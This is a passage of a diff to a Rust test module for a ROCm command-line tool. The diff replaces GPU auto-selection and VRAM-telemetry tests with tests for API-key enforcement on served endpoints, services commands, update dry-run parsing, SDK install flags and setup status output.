`--require-api-key`, and its key file is present but + // empty — so `requires_api_key` is true while `key_present` is false, + // which is the only way to reach the first branch. A test calling + // `ensure_public_service_has_endpoint_key` directly cannot catch a + // mis-wired call site, which is the defect that has occurred here twice. + // + // The flag is passed explicitly rather than inferred from the key file. + // Inferring it marked every public bind as having demanded auth, because + // a public bind always has a key file whether or not it asked for one. + let (root, paths) = test_paths("managed-spawn-invalid-key"); + paths.ensure()?; + fs::create_dir_all(paths.services_dir())?; + + // Empty, so the file exists (requires_api_key = true) but yields no + // usable key (key_present = false). + endpoint_keys::store_endpoint_api_key(&paths, "lemonade-qwen-3000", "")?; + + let resolve = ResolveModelResponse { + canonical_model_id: "qwen-canonical".to_owned(), + task: "chat".to_owned(), + source: "hf".to_owned(), + revision: "main".to_owned(), + loader: "llama.cpp".to_owned(), + trust_remote_code: false, + chat_template_mode: "auto".to_owned(), + dtype: "auto".to_owned(), + device_policy: DevicePolicy::GpuPreferred, + estimated_memory: "unknown".to_owned(), + launch_defaults: serde_json::json!({}), + engine_recipe: None, + warnings: Vec::new(), + }; + + let result = spawn_managed_engine_child( + &paths, + "lemonade", + "lemonade-qwen-3000", + "qwen", + &resolve, + // Loopback on purpose: the public-bind branch must not be what + // refuses this, or the test would pass with the guard disabled. + "127.0.0.1", + 11512, + &resolve.device_policy, + &[], + None, + None, + None, + true, ); - } + let _ = fs::remove_dir_all(root); - #[test] - fn auto_selection_restricts_candidates_to_visible_set() { - // GPUs 0 and 1 are masked out (only 2 and 3 visible). With no VRAM data - // auto-select must pick the lowest *visible* ordinal, never a hidden one. - assert_eq!( - select_auto_gpu_index(Some(4), Some(&[2, 3]), &[], None), - vec![2], - "selection must stay inside the visibility mask" + let Err(error) = result else { + panic!("a service requiring a key must not spawn with an unusable key file") + }; + let message = error.to_string(); + assert!( + message.contains("--require-api-key"), + "the refusal must name the flag the service was launched with: {message}" ); - // The lowest visible GPU (2) is busy, so fall through to the next visible. - assert_eq!( - select_auto_gpu_index(Some(4), Some(&[2, 3]), &[2], None), - vec![3] + assert!( + message.contains("without authentication"), + "the refusal must say what the risk is: {message}" ); + Ok(()) } #[test] - fn auto_selection_all_visible_busy_falls_back_to_lowest_visible_not_zero() { - // Every visible GPU is pinned; the fallback must be the lowest *visible* - // ordinal (2), not a hardcoded 0 that the mask has hidden. - assert_eq!( - select_auto_gpu_index(Some(4), Some(&[2, 3]), &[2, 3], None), - vec![2] + fn services_tool_result_text_includes_running_interpretation() { + let (_root, paths) = test_paths("services-tool-text"); + let mut record = ManagedServiceRecord::new( + &paths, + "svc-vllm", + "vllm", + "Qwen/Qwen3.5", + "Qwen/Qwen3.5", + "127.0.0.1", + 11435, + "managed", + std::process::id(), + Some("therock-release".to_owned()), + None, + Some("gpu_required".to_owned()), ); - } + record.status = "ready".to_owned(); - #[test] - fn auto_selection_returns_none_when_every_device_masked_out() { - // An empty visible set means no candidate survives the mask: return no - // selection rather than assuming device 0. - assert_eq!( - select_auto_gpu_index(Some(4), Some(&[]), &[], None), - Vec::::new() - ); + let rendered = render_services_tool_result_text(&[record]); + + assert!(rendered.contains("status_meaning: ready/running = running")); + assert!(rendered.contains("engine=vllm")); + assert!(rendered.contains("running_state=running")); } #[test] - fn auto_selection_uses_vram_row_count_when_amd_smi_count_is_unknown() { - // `detect_gpu_count()` is `None` while VRAM telemetry is present. With - // *several* rows that is the amd-smi shape of the state -- `metric` - // answered while `list` did not -- not the DRM sysfs fallback, which - // withholds telemetry entirely once a second AMD card is found and so - // can never produce more than one row (`read_drm_vram_usage`). Either - // way auto-selection must derive the count from the rows and skip the - // busy GPU 0 rather than returning no selection (which would land the - // engine on GPU 0). - let usage = [ - vram(0, 182_000, 192_000), - vram(1, 1_000, 192_000), - vram(2, 500, 192_000), - ]; - assert_eq!( - select_auto_gpu_index(None, None, &[], Some(&usage)), - vec![1], - "with no amd-smi count, rank the reported VRAM rows and pick the first idle GPU" - ); - // The state the DRM sysfs fallback can actually reach: exactly one row. - // It is still ranked (and still selected) rather than discarded for - // being a single device. - assert_eq!( - select_auto_gpu_index(None, None, &[], Some(&[vram(0, 1_000, 192_000)])), - vec![0], - "the single row the sysfs fallback can emit must still be selectable" - ); - // Still nothing to go on when neither the count nor telemetry is present. - assert_eq!( - select_auto_gpu_index(None, None, &[], Some(&[])), - Vec::::new() + fn service_actions_require_yes_and_render_sandbox_result() { + let (_root, paths) = test_paths("services-action-approval"); + let error = run_approved_service_action(&paths, "stop_server", "svc-qwen", false) + .unwrap_err() + .to_string(); + assert!(error.contains("requires --yes")); + assert!(error.contains("rocm services stop svc-qwen --yes")); + + let rendered = render_service_action_result( + "stop_server", + &serde_json::json!({ + "output": { + "status": "stopped", + "result": { + "service": { + "service_id": "svc-qwen", + "status": "stopped", + "endpoint_url": "http://127.0.0.1:11435/v1" + }, + "signaled_pids": [1234, 5678] + } + } + }), ); + + assert!(rendered.contains("Local server stopped")); + assert!(rendered.contains("service: svc-qwen")); + assert!(rendered.contains("status: stopped")); + assert!(rendered.contains("stopped processes: 2")); } #[test] - fn auto_selection_ranks_the_actual_reported_row_indices() { - // A visibility mask hides GPUs 0 and 1, so amd-smi metric reports only - // the surviving devices with their absolute, non-contiguous ordinals - // [2, 3] -- there is no row at index 0 or 1. Auto-selection must scan - // those real indices, not a synthetic `0..count` range (which would - // look up absent rows and fall through to a bogus GPU 0). - let usage = [vram(2, 182_000, 192_000), vram(3, 1_000, 192_000)]; - assert_eq!( - select_auto_gpu_index(None, None, &[], Some(&usage)), - vec![3], - "should skip the busy GPU 2 and pick the idle GPU 3 by its real ordinal" - ); - // With GPU 3 also pinned by a managed service, pass 3 still returns a - // real reported ordinal (GPU 2), never a fabricated index 0. - assert_eq!( - select_auto_gpu_index(None, None, &[3], Some(&usage)), - vec![2], - "the sole non-busy reported GPU must be selected by its real ordinal" - ); + fn services_is_structured_not_freeform() { + let invocation = parse_freeform_invocation(&["services".to_owned()]); + assert!(!should_treat_as_freeform(&invocation)); + Cli::try_parse_from(["rocm", "services"]).expect("services should be a real command"); + Cli::try_parse_from(["rocm", "services", "list"]) + .expect("services list should be a real command"); + Cli::try_parse_from(["rocm", "services", "logs", "svc-qwen"]) + .expect("services logs should be a real command"); + Cli::try_parse_from(["rocm", "services", "stop", "svc-qwen", "--yes"]) + .expect("services stop should accept --yes"); + Cli::try_parse_from(["rocm", "services", "restart", "svc-qwen", "--yes"]) + .expect("services restart should accept --yes"); } #[test] - fn auto_selection_all_reported_busy_falls_back_to_a_reported_ordinal() { - // Same sparse-ordinal host as above ([2, 3] reported, nothing at 0 or 1) - // but now BOTH reported GPUs are pinned by a running service, so every - // pass falls through to the terminal "all busy, pick one anyway" - // fallback. That fallback used to hand back a hardcoded `0` — safe only - // while candidates were a dense `0..count`, and simply wrong once they - // come from the reported rows: index 0 is a device nothing reported, yet - // it would be exported verbatim as `HIP_VISIBLE_DEVICES`. It must return - // the lowest ordinal that was actually reported instead. - let usage = [vram(2, 182_000, 192_000), vram(3, 190_000, 192_000)]; - assert_eq!( - select_auto_gpu_index(None, None, &[2, 3], Some(&usage)), - vec![2], - "the all-busy fallback must name a reported GPU, never a fabricated index 0" - ); - // "Lowest reported" has to mean lowest by ordinal, not first in the - // rows: `amd-smi` orders its output by enumeration, not by index, so - // feed the same two rows in descending order. Varying the *busy* slice's - // order instead would prove nothing — it is only ever read through - // `.contains()`, so that assertion was a duplicate of the one above. - let descending = [vram(3, 190_000, 192_000), vram(2, 182_000, 192_000)]; - assert_eq!( - select_auto_gpu_index(None, None, &[2, 3], Some(&descending)), - vec![2], - "the fallback must take the lowest reported ordinal, not the first row" - ); + fn update_dry_run_does_not_require_apply() { + Cli::try_parse_from(["rocm", "update", "--dry-run"]) + .expect("update --dry-run should parse without --apply"); + Cli::try_parse_from(["rocm", "update", "--apply", "--dry-run"]) + .expect("update --apply --dry-run should still parse"); + Cli::try_parse_from(["rocm", "update", "--dry-run", "--runtime", "rocm-6.2"]) + .expect("update --dry-run --runtime should parse without --apply"); + Cli::try_parse_from(["rocm", "update", "--dry-run", "--activate"]) + .expect("update --dry-run --activate should parse without --apply"); } #[test] - fn auto_selection_considers_a_detected_gpu_that_reported_no_vram_row() { - // A short row set is not always a visibility mask. `parse_gpu_vram_usage` - // drops any device entry missing its `used_vram`/`total_vram` pointers, so - // here `list` counts two GPUs, both are visible, but only GPU 0 produced a - // row — and GPU 0 is pinned by a managed service. Driving candidates from - // the rows alone leaves `[0]`, the busy filter empties it, every pass - // iterates nothing and the terminal fallback hands back GPU 0: `serve` - // pinned to an already-occupied GPU, the exact failure this selection - // exists to prevent. The untelemetried GPU 1 is confirmed by both the - // count and the visible set, so it must be a candidate and must win. - assert_eq!( - select_auto_gpu_index( - Some(2), - Some(&[0, 1]), - &[0], - Some(&[vram(0, 182_000, 192_000)]) - ), - vec![1], - "a detected, visible GPU with no VRAM row must be preferred over a busy reported one" - ); - // The same shape without telemetry for the busy device being conclusive: - // GPU 1 is still the only non-busy ordinal either source confirms. - assert_eq!( - select_auto_gpu_index( - Some(2), - Some(&[0, 1]), - &[0], - Some(&[vram(0, 1_000, 192_000)]) - ), - vec![1], - "an idle-looking but service-pinned GPU 0 must still lose to the free GPU 1" - ); - // The masking behaviour this rows-only construction was introduced for is - // untouched: rows `[2, 3]` against `count == 2` put a row index at or above - // the count, which is the proof the ordinal space is re-indexed, so the - // union never happens and the rows stand alone. (The visible retain would - // also have dropped `0`/`1` here — this pins the row-index rule itself, so - // the masked case survives on a host where the mask is unknown too.) - let masked = [vram(2, 182_000, 192_000), vram(3, 190_000, 192_000)]; - assert_eq!( - select_auto_gpu_index(Some(2), Some(&[2, 3]), &[2, 3], Some(&masked)), - vec![2], - "a masked host must not gain candidates 0/1 from the detected count" + fn update_dry_run_conflicts_with_json() { + Cli::try_parse_from(["rocm", "update", "--dry-run", "--json"]).expect_err( + "update --dry-run --json should be rejected instead of silently dropping --json", ); } + // This only pins the free predicate's truth table. The actual dispatch + // wiring — that `rocm update --dry-run` really does reach the preview + // path without requiring --apply — is covered by e2e scenario + // `update-dry-run-reaches-preview-path-without-apply` + // (tests/e2e-cucumber/features/update.feature). #[test] - fn auto_selection_considers_an_untelemetried_gpu_when_the_visible_set_is_unknown() { - // Same shape as the test above, but `visible` is `None`. That is not an - // exotic host: `probe_usable_amd_gpu_indices` returns `None` - // *unconditionally* off Linux, and `serve` threads that straight into - // `visible`, so every Windows run takes this path — as does any Linux host - // whose KFD topology and DRM cards are both unreadable. Gating the - // `0..count` union on `visible.is_some()` therefore left the whole bug - // standing on a supported platform. - // - // Nothing about the mask is needed to justify GPU 1 here: the amd-smi - // `list` count asserts two devices and the rows name only ordinals below - // that count, so the rows are a subset of a dense range, not a re-indexed - // one. GPU 0 is pinned by a managed service, so the untelemetried GPU 1 is - // the only free ordinal and must win over the busy reported fallback. - assert_eq!( - select_auto_gpu_index(Some(2), None, &[0], Some(&[vram(0, 182_000, 192_000)])), - vec![1], - "an unprobeable host must still consider a counted GPU that reported no VRAM row" - ); - // A row index at or above the count is the only evidence available that the - // ordinal space is *not* a dense `0..count`, so there the rows stay - // authoritative even with no mask to retain against — otherwise an - // unprobeable masked host would have `[0, 1]` invented for it. - let masked = [vram(2, 182_000, 192_000), vram(3, 190_000, 192_000)]; - assert_eq!( - select_auto_gpu_index(Some(2), None, &[2, 3], Some(&masked)), - vec![2], - "re-indexed rows must not gain unconfirmed candidates 0/1 from the detected count" - ); - // The count must come from the `list` enumeration to confirm anything. - // With `detected` absent it is `rows.len()`, i.e. the rows restating their - // own size, and `parse_gpu_vram_usage` can repeat an ordinal: it falls back - // to the array position only when an entry has no `gpu` field, so a payload - // naming `"gpu": 0` twice yields two index-0 rows. That makes `rows.len()` - // 2 with every index below it, and dropping the `detected` half of the - // condition would invent a GPU 1 nothing ever enumerated. - assert_eq!( - select_auto_gpu_index( - None, - None, - &[0], - Some(&[vram(0, 182_000, 192_000), vram(0, 182_000, 192_000)]) - ), - vec![0], - "a row-derived count must not synthesise an ordinal no source reported" + fn update_should_preview_or_apply_includes_dry_run() { + assert!( + !update_should_preview_or_apply(false, false), + "plain `rocm update` should stay on the read-only status report" ); + assert!( + update_should_preview_or_apply(false, true), + "the predicate must say dry-run alone should preview" + ); + assert!(update_should_preview_or_apply(true, false)); + assert!(update_should_preview_or_apply(true, true)); } #[test] - fn validate_pinned_gpu_index_rejects_out_of_range() { - // Index equal to or beyond the detected count is rejected. - let error = validate_pinned_gpu_index(4, Some(4), None, false) - .expect_err("index 4 is out of range"); - assert!(error.to_string().contains("out of range")); - assert!(validate_pinned_gpu_index(9, Some(2), None, false).is_err()); + fn remote_is_structured_not_freeform() { + // `rocm remote …` reads like a plain-English request, so without an + // entry in the structured allowlist the natural-language planner + // swallows it and the real command becomes unreachable. This guards the + // allowlist against losing `remote`. + let invocation = parse_freeform_invocation(&[ + "remote".to_owned(), + "targets".to_owned(), + "--tag".to_owned(), + "gpu".to_owned(), + ]); + assert!(!treat_as_natural_language(&invocation.request_args)); + assert!(!should_treat_as_freeform(&invocation)); + + Cli::try_parse_from(["rocm", "remote", "targets"]) + .expect("remote targets should be a real command"); + Cli::try_parse_from(["rocm", "remote", "targets", "--tag", "gpu"]) + .expect("remote targets should accept a tag filter"); + // The group has no useful default action, so a bare `rocm remote` must + // show help rather than silently doing something. + Cli::try_parse_from(["rocm", "remote"]) + .expect_err("bare `rocm remote` should require a subcommand"); } #[test] - fn validate_pinned_gpu_index_accepts_in_range_or_unknown_count() { - // In-range index pins exactly that ordinal. - assert_eq!( - validate_pinned_gpu_index(0, Some(1), None, false).unwrap(), - vec![0] - ); - assert_eq!( - validate_pinned_gpu_index(3, Some(4), None, false).unwrap(), - vec![3] - ); - // Unknown count (amd-smi unavailable) is allowed through unvalidated. - assert_eq!( - validate_pinned_gpu_index(7, None, None, false).unwrap(), - vec![7] - ); + fn install_sdk_accepts_family_override() { + Cli::try_parse_from([ + "rocm", + "install", + "sdk", + "--channel", + "release", + "--format", + "wheel", + "--prefix", + "D:\\ROCm\\therock_venvs", + "--family", + "gfx110X-all", + ]) + .expect("install sdk should accept a TheRock family override"); } #[test] - fn effective_gpu_count_prefers_amd_smi_then_falls_back_to_vram_rows() { - let usage = [vram(0, 1_000, 192_000), vram(1, 1_000, 192_000)]; - // amd-smi's count wins when it is known, even over a differing row count. - assert_eq!(effective_gpu_count(Some(4), Some(&usage)), Some(4)); - // amd-smi unavailable (`None`): the sysfs VRAM fallback row count stands in. - assert_eq!(effective_gpu_count(None, Some(&usage)), Some(2)); - // The second, previously untested fallback trigger: amd-smi ran and - // reported zero devices. `Some(0)` must fall through to the VRAM rows - // just as `None` does, or a host amd-smi cannot enumerate but sysfs can - // would have nothing for `--gpu auto` to rank. Dropping the - // `filter(|&count| count > 0)` on `detected` turns this line red. - assert_eq!(effective_gpu_count(Some(0), Some(&usage)), Some(2)); - // Neither source available. - assert_eq!(effective_gpu_count(None, None), None); - assert_eq!(effective_gpu_count(None, Some(&[])), None); - // Both present but both empty: still nothing to rank. - assert_eq!(effective_gpu_count(Some(0), Some(&[])), None); - assert_eq!(effective_gpu_count(Some(0), None), None); + fn install_sdk_devel_flag_defaults_off_and_wires_through_when_passed() { + let cli = Cli::try_parse_from(["rocm", "install", "sdk"]) + .expect("install sdk should parse with no flags"); + match cli.command { + Some(Command::Install { + target: InstallTarget::Sdk { devel, .. }, + }) => assert!(!devel, "--devel should default to false"), + other => panic!("expected an install sdk target, got {other:?}"), + } + + let cli = Cli::try_parse_from(["rocm", "install", "sdk", "--devel"]) + .expect("install sdk should accept --devel"); + match cli.command { + Some(Command::Install { + target: InstallTarget::Sdk { devel, .. }, + }) => assert!(devel, "--devel should set the flag to true"), + other => panic!("expected an install sdk target, got {other:?}"), + } } + /// The half the parse test above cannot reach: that the parsed flag is what + /// the install request carries. + /// + /// `install()` is not callable here — it needs `uv`, a live index and a real + /// probe — so the mapping is extracted into `sdk_install_request` and pinned + /// directly. Hardcoding `include_devel` at that mapping is the change this + /// catches and the clap test does not. #[test] - fn validate_pinned_gpu_index_rejects_masked_out_device() { - // The visible set is authoritative: an index outside it is rejected early - // with the usable set, rather than deferring to a late engine error. A - // mask is set here, so the message names the visibility variables. - let error = validate_pinned_gpu_index(0, Some(4), Some(&[2, 3]), true) - .expect_err("masked-out device must be rejected"); - let message = error.to_string(); - assert!(message.contains("not available under the active visibility mask")); - assert!(message.contains("[2, 3]")); - // A visible index still pins exactly that ordinal. - assert_eq!( - validate_pinned_gpu_index(2, Some(4), Some(&[2, 3]), true).unwrap(), - vec![2] - ); - // An empty visible set is authoritative "no GPU usable" (every device - // masked out), not "could not enumerate" — the latter is `None`, per the - // `usable_amd_gpu_indices` contract. So it rejects rather than falling - // through to the count check; the detected count must not override it. - let masked_out = validate_pinned_gpu_index(1, Some(4), Some(&[]), true) - .expect_err("an all-masked host must reject an explicit --gpu index"); - assert!( - masked_out - .to_string() - .contains("no usable AMD GPU is available") + fn install_sdk_request_forwards_the_parsed_devel_flag() { + for devel in [false, true] { + let request = sdk_install_request( + "release", + "wheel", + None, + None, + None, + false, + devel, + therock::SdkInstallConsent::Ask, + ); + assert_eq!( + request.include_devel, devel, + "the parsed --devel flag must reach the install request" + ); + } + + // And the flag must not be confused with the neighbouring bool. + let dry_run_only = sdk_install_request( + "release", + "wheel", + None, + None, + None, + true, + false, + therock::SdkInstallConsent::Ask, ); + assert!(dry_run_only.dry_run); + assert!(!dry_run_only.include_devel); } + /// End to end across the two seams a `rocm install sdk --devel` traverses: + /// clap parse, then the request mapping. Neither alone proves the flag + /// survives the trip. #[test] - fn validate_pinned_gpu_index_absent_index_without_mask_reads_as_not_present() { - // No visibility mask is set, yet amd-smi counts more devices than the - // KFD/DRM probe finds, so the authoritative visible set (0..present) is - // shorter than `detected`. An index in that gap is genuinely absent from - // the host — the rejection must say so and must NOT blame HIP/ROCR - // variables the user never set (that message sends them debugging a mask - // that does not exist). - let error = validate_pinned_gpu_index(2, Some(4), Some(&[0, 1]), false) - .expect_err("an index past the visible set must be refused"); - let message = error.to_string(); - assert!( - message.contains("not present on this host"), - "unmasked rejection should read as not-present, got: {message}" - ); - assert!( - !message.contains("visibility mask"), - "must not blame a mask when none is set, got: {message}" - ); - assert!(message.contains("[0, 1]")); - - // The all-empty visible set with no mask is a not-present message too, - // never a spurious mask advisory. - let empty = validate_pinned_gpu_index(0, Some(2), Some(&[]), false) - .expect_err("no present GPU must refuse an explicit --gpu index"); - assert!(empty.to_string().contains("present on this host")); - assert!(!empty.to_string().contains("visibility mask")); + fn parsed_install_sdk_arguments_reach_the_request_with_devel_intact() { + for (args, expected) in [ + (vec!["rocm", "install", "sdk"], false), + (vec!["rocm", "install", "sdk", "--devel"], true), + ] { + let cli = Cli::try_parse_from(&args).expect("install sdk should parse"); + let Some(Command::Install { + target: InstallTarget::Sdk { devel, .. }, + }) = cli.command + else { + panic!("expected an install sdk target for {args:?}"); + }; + let request = sdk_install_request( + "release", + "wheel", + None, + None, + None, + false, + devel, + therock::SdkInstallConsent::Ask, + ); + assert_eq!( + request.include_devel, expected, + "--devel did not survive parse -> request for {args:?}" + ); + } } #[test] - fn validate_pinned_gpu_index_prefers_visible_set_over_detected_count() { - // detected and visible come from different probes. When both are known the - // visible set wins, so an index inside the detected count but outside the - // HIP-visible set is still rejected (and vice versa), instead of the two - // being compared as one ordinal space. - assert_eq!( - validate_pinned_gpu_index(1, Some(4), Some(&[0, 1]), true).unwrap(), - vec![1] - ); - assert!( - validate_pinned_gpu_index(2, Some(4), Some(&[0, 1]), true).is_err(), - "index within the detected count but outside the visible set must reject" - ); + fn top_level_cli_commands_are_not_treated_as_freeform() { + for command in [ + "examine", + "bootstrap", + "version", + "setup", + "chat", + "install", + "update", + "runtimes", + "storage", + "engines", + "model", + "models", + "serve", + "comfyui", + "comfy", + "services", + "automations", + "config", + "logs", + "daemon", + "dash", + "bench", + "uninstall", + "completions", + "help", + ] { + let invocation = parse_freeform_invocation(&[command.to_owned()]); + assert!( + !should_treat_as_freeform(&invocation), + "{command} should parse as a structured CLI command, not natural language" + ); + } + Cli::try_parse_from(["rocm", "setup"]).expect("setup should parse"); + Cli::try_parse_from(["rocm", "bootstrap"]).expect("bootstrap setup should parse"); + Cli::try_parse_from(["rocm", "setup", "status"]).expect("setup status should parse"); + Cli::try_parse_from(["rocm", "setup", "reset"]).expect("setup reset should parse"); + Cli::try_parse_from(["rocm", "models"]).expect("models alias should parse"); + Cli::try_parse_from(["rocm", "comfyui", "status"]).expect("comfyui status should parse"); + Cli::try_parse_from(["rocm", "comfyui", "logs", "--lines", "3"]) + .expect("comfyui logs should parse"); + Cli::try_parse_from(["rocm", "comfyui", "stop"]).expect("comfyui stop should parse"); + Cli::try_parse_from(["rocm", "comfy", "logs"]).expect("comfy alias should parse"); } #[test] - fn parse_gpu_vram_usage_reads_gpu_data_envelope() { - let value = json!({ - "gpu_data": [ - {"gpu": 0, "mem_usage": {"used_vram": {"value": 1000}, "total_vram": {"value": 192_000}}}, - {"gpu": 1, "mem_usage": {"used_vram": {"value": 50000}, "total_vram": {"value": 192_000}}} - ] - }); - let rows = parse_gpu_vram_usage(&value); - assert_eq!(rows.len(), 2); - assert_eq!(rows[0].index, 0); - assert_eq!(rows[0].used_mb, 1000); - assert_eq!(rows[1].index, 1); - assert!((rows[1].free_fraction().unwrap() - (142_000.0 / 192_000.0)).abs() < 1e-9); + fn t5_bench_load_clap_parse_smoke() { + // T5: verify BenchCommand::Load parses correctly including comma-separated concurrency. + let cli = Cli::try_parse_from([ + "rocm", + "bench", + "load", + "--endpoint", + "http://x", + "--concurrency", + "1,8,32,64", + ]) + .expect("rocm bench load should parse"); + match cli.command { + Some(Command::Bench { + command: BenchCommand::Load { concurrency, .. }, + }) => { + assert_eq!(concurrency, vec![1u32, 8, 32, 64]); + } + other => panic!("expected Bench/Load, got {other:?}"), + } } #[test] - fn read_drm_vram_usage_reads_a_single_amdgpu_card_and_assigns_ordinal_zero() { - // Plant a minimal `/sys/class/drm`-shaped tree: one AMD card, a connector - // sub-node that must be skipped, and a non-AMD card that must be ignored. - let root = std::env::temp_dir().join(format!("rocm-drm-vram-{}", std::process::id())); - let _ = fs::remove_dir_all(&root); - let plant_amd = |card: &str, total: u64, used: u64| { - let device = root.join(card).join("device"); - fs::create_dir_all(&device).unwrap(); - fs::write(device.join("vendor"), "0x1002\n").unwrap(); - fs::write(device.join("mem_info_vram_total"), format!("{total}\n")).unwrap(); - fs::write(device.join("mem_info_vram_used"), format!("{used}\n")).unwrap(); + fn setup_reset_cli_output_is_plain_and_persists_first_time_prompt() -> Result<()> { + let (_root, paths) = test_paths("setup-reset-cli"); + let mut config = RocmCliConfig { + onboarding_dismissed: true, + setup: rocm_core::SetupConfig { + completed: true, + therock_venv: Some(paths.data_dir.join("envs").join("default")), + cli_install_dir: None, + }, + ..Default::default() }; - // 192 GiB total, mostly free (values in bytes). - plant_amd("card0", 206_158_430_208, 1_073_741_824); - // A connector sub-node under card0 — must be skipped, not parsed as a card. - fs::create_dir_all(root.join("card0-DP-1")).unwrap(); - // A non-AMD primary card — different vendor, must be ignored. - let intel = root.join("card1").join("device"); - fs::create_dir_all(&intel).unwrap(); - fs::write(intel.join("vendor"), "0x8086\n").unwrap(); - fs::write(intel.join("mem_info_vram_total"), "1000000\n").unwrap(); + config.provider_config_mut("openai").enabled = true; + config.save(&paths)?; - let rows = read_drm_vram_usage(&root); - let _ = fs::remove_dir_all(&root); + let rendered = reset_setup_prompt_state(&paths, &mut config)?; - assert_eq!(rows.len(), 1, "only the one AMD card counts: {rows:?}"); - assert_eq!(rows[0].index, 0); - // 206_158_430_208 bytes / 1 MiB == 196_608 MiB. - assert_eq!(rows[0].total_mb, 196_608); - assert!(rows[0].free_fraction().unwrap() > AUTO_FREE_VRAM_FRACTION); + // The claim itself (onboarding only opens via an explicit `n` on the + // Observe tab, never automatically) is proven by + // `crates/rocm-dash-tui/src/app/event_loop.rs`'s + // `startup_focus_gate_only_opens_onboarding_for_explicit_setup_focus` + // test and the `onboarding.rs` module doc — this assertion only + // guards the string, not the behavior. + assert!(rendered.contains("Onboarding will not reopen automatically")); + assert!(rendered.contains("ROCm installs were not deleted")); + assert!(rendered.contains("API keys")); + assert!(!rendered.contains("request plan")); + assert!(!rendered.contains("planner:")); + assert!(!rendered.contains("tool_schema")); + + let saved = RocmCliConfig::load(&paths)?; + assert!(!saved.onboarding_dismissed); + assert!(!saved.setup.completed); + assert!(saved.setup.therock_venv.is_some()); + assert!(saved.provider_enabled("openai")); + Ok(()) } #[test] - fn read_drm_vram_usage_withholds_telemetry_when_multiple_amd_cards_are_present() { - // Ascending `card` order is not guaranteed to match HIP's compute - // ordinal once more than one AMD card exists (e.g. an APU alongside a - // dGPU), so the fallback must not hand out ordinals it cannot vouch for. - let root = std::env::temp_dir().join(format!("rocm-drm-vram-multi-{}", std::process::id())); - let _ = fs::remove_dir_all(&root); - let plant_amd = |card: &str, total: u64, used: u64| { - let device = root.join(card).join("device"); - fs::create_dir_all(&device).unwrap(); - fs::write(device.join("vendor"), "0x1002\n").unwrap(); - fs::write(device.join("mem_info_vram_total"), format!("{total}\n")).unwrap(); - fs::write(device.join("mem_info_vram_used"), format!("{used}\n")).unwrap(); + fn setup_status_reports_completed_active_runtime() -> Result<()> { + let (root, paths) = test_paths("setup-status-completed-runtime"); + let manifest = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-status", + "therock-release:gfx120X-all", + "7.13.0", + 1, + )?; + let config = RocmCliConfig { + default_runtime_id: Some(manifest.runtime_id.clone()), + active_runtime_key: Some(manifest.runtime_key.clone()), + setup: rocm_core::SetupConfig { + completed: true, + therock_venv: Some(manifest.install_root.clone()), + cli_install_dir: None, + }, + ..Default::default() }; - plant_amd("card0", 206_158_430_208, 1_073_741_824); - plant_amd("card1", 206_158_430_208, 189_284_651_008); - let rows = read_drm_vram_usage(&root); - let _ = fs::remove_dir_all(&root); + let rendered = render_setup_status_text(&paths, &config)?; + assert!(rendered.contains("status: completed"), "{rendered}"); assert!( - rows.is_empty(), - "multi-card sysfs telemetry must be withheld: {rows:?}" + rendered.contains(&format!( + "install folder: {}", + manifest.install_root.display() + )), + "{rendered}" + ); + assert!( + rendered.contains("active_runtime_key: release-pip-gfx120x-all-status"), + "{rendered}" + ); + assert!( + rendered.contains("active_runtime_id: therock-release:gfx120X-all"), + "{rendered}" + ); + assert!( + rendered.contains("active_runtime_status: ready"), + "{rendered}" ); + assert!(rendered.contains("rocm help"), "{rendered}"); + + let _ = fs::remove_dir_all(root); + Ok(()) } #[test] - fn read_drm_vram_usage_withholds_telemetry_when_a_second_amd_card_has_no_counter() { - // The guard must count AMD cards *found*, not surviving rows: a genuine - // two-AMD-card host where the second card's `used` counter is unreadable - // would otherwise slip past a `rows.len() > 1` check and mislabel the - // survivor ordinal 0 — the exact APU+dGPU misattribution the guard exists - // to prevent. - let root = - std::env::temp_dir().join(format!("rocm-drm-vram-partial-{}", std::process::id())); - let _ = fs::remove_dir_all(&root); - // card0: fully readable. - let card0 = root.join("card0").join("device"); - fs::create_dir_all(&card0).unwrap(); - fs::write(card0.join("vendor"), "0x1002\n").unwrap(); - fs::write(card0.join("mem_info_vram_total"), "206158430208\n").unwrap(); - fs::write(card0.join("mem_info_vram_used"), "1073741824\n").unwrap(); - // card1: AMD, but its `used` counter cannot be read. - let card1 = root.join("card1").join("device"); - fs::create_dir_all(&card1).unwrap(); - fs::write(card1.join("vendor"), "0x1002\n").unwrap(); - fs::write(card1.join("mem_info_vram_total"), "206158430208\n").unwrap(); + fn setup_status_reports_first_time_when_not_completed() -> Result<()> { + let (_root, paths) = test_paths("setup-status-first-time"); + let config = RocmCliConfig::default(); - let rows = read_drm_vram_usage(&root); - let _ = fs::remove_dir_all(&root); + let rendered = render_setup_status_text(&paths, &config)?; + + // See the pointer comment in + // `setup_reset_cli_output_is_plain_and_persists_first_time_prompt` + // above: this only guards the string, not the underlying behavior. + assert!(rendered.contains("status: first-time setup available — open manually")); + assert!(rendered.contains("active_runtime_status: ")); + Ok(()) + } + #[test] + fn serve_bind_validation_requires_public_ack() { + validate_bind_host("127.0.0.1", false).unwrap(); + validate_bind_host("localhost", false).unwrap(); + validate_bind_host("::1", false).unwrap(); + let error = validate_bind_host("0.0.0.0", false).unwrap_err(); assert!( - rows.is_empty(), - "a second AMD card must trip the guard even without readable counters: {rows:?}" + error.to_string().contains("--allow-public-bind"), + "{error:#}" ); + validate_bind_host("0.0.0.0", true).unwrap(); + } + + #[test] + fn resolve_endpoint_auth_loopback_stays_credential_free() { + // Loopback binds never require auth, even if a key is supplied. + for host in ["127.0.0.1", "localhost", "::1"] { + assert_eq!(resolve_endpoint_auth(host, None, false).unwrap(), None); + assert_eq!( + resolve_endpoint_auth(host, Some("ignored"), false).unwrap(), + None + ); + } + } + + #[test] + fn resolve_endpoint_auth_loopback_can_be_required_when_something_republishes_it() { + // "Loopback" describes the bind address, not who can reach the port. A + // tailnet publish, a proxy, or a container port map all leave the bind + // loopback while widening the audience, and the default policy would + // hand out an unauthenticated endpoint. Whoever widens the reach asks + // for the credential explicitly. + for host in ["127.0.0.1", "localhost", "::1"] { + let generated = resolve_endpoint_auth(host, None, true) + .unwrap() + .expect("a required key must be generated, not skipped"); + assert!(!generated.trim().is_empty()); + + assert_eq!( + resolve_endpoint_auth(host, Some("supplied-key"), true).unwrap(), + Some("supplied-key".to_owned()), + "a supplied key must be honoured rather than ignored as it is by default" + ); + } + + // The same validation a public bind gets: an empty key is a refusal, not + // a silent downgrade to no auth. + assert!(resolve_endpoint_auth("127.0.0.1", Some(" "), true).is_err()); + } + + #[test] + 